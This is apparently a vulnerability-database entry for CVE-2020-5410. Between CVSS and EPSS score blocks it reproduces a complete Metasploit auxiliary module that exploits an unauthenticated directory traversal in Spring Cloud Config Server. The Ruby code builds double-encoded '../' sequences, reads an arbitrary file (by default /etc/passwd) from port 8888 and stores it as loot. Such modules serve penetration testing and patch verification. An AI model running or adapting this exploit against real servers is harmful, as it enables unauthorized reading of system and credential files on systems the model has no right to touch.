CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
99.8%
This module exploits an unauthenticated directory traversal vulnerability which exists in Spring Cloud Config versions 2.2.x prior to 2.2.3 and 2.1.x prior to 2.1.9, and older unsupported versions. Spring Cloud Config listens by default on port 8888.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Directory Traversal in Spring Cloud Config Server',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
which exists in Spring Cloud Config versions 2.2.x prior to 2.2.3 and
2.1.x prior to 2.1.9, and older unsupported versions. Spring
Cloud Config listens by default on port 8888.
},
'References' => [
['CVE', '2020-5410'],
['URL', 'https://tanzu.vmware.com/security/cve-2020-5410'],
['URL', 'https://xz.aliyun.com/t/7877']
],
'Author' => [
'Fei Lu', # Vulnerability discovery
'[email protected]', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'DisclosureDate' => '2020-06-01',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(8888),
OptString.new('TARGETURI', [true, 'The base path to Spring Cloud Config installation', '/']),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 11 ])
]
)
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
traversal = "#{traversal}#{datastore['FILEPATH']}"
traversal = traversal.gsub('/', '%252F')
traversal << '%23foo/development'
trav_uri = normalize_uri(target_uri.path, traversal)
res = send_request_raw({
'method' => 'GET',
'uri' => trav_uri
})
unless res && res.code == 200
print_error('Nothing was downloaded')
return
end
print_good("#{peer} - Downloaded #{res.body.length} bytes")
path = store_loot(
'springcloud.traversal',
'text/plain',
ip,
res.body
)
print_good("File saved in: #{path}")
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
99.8%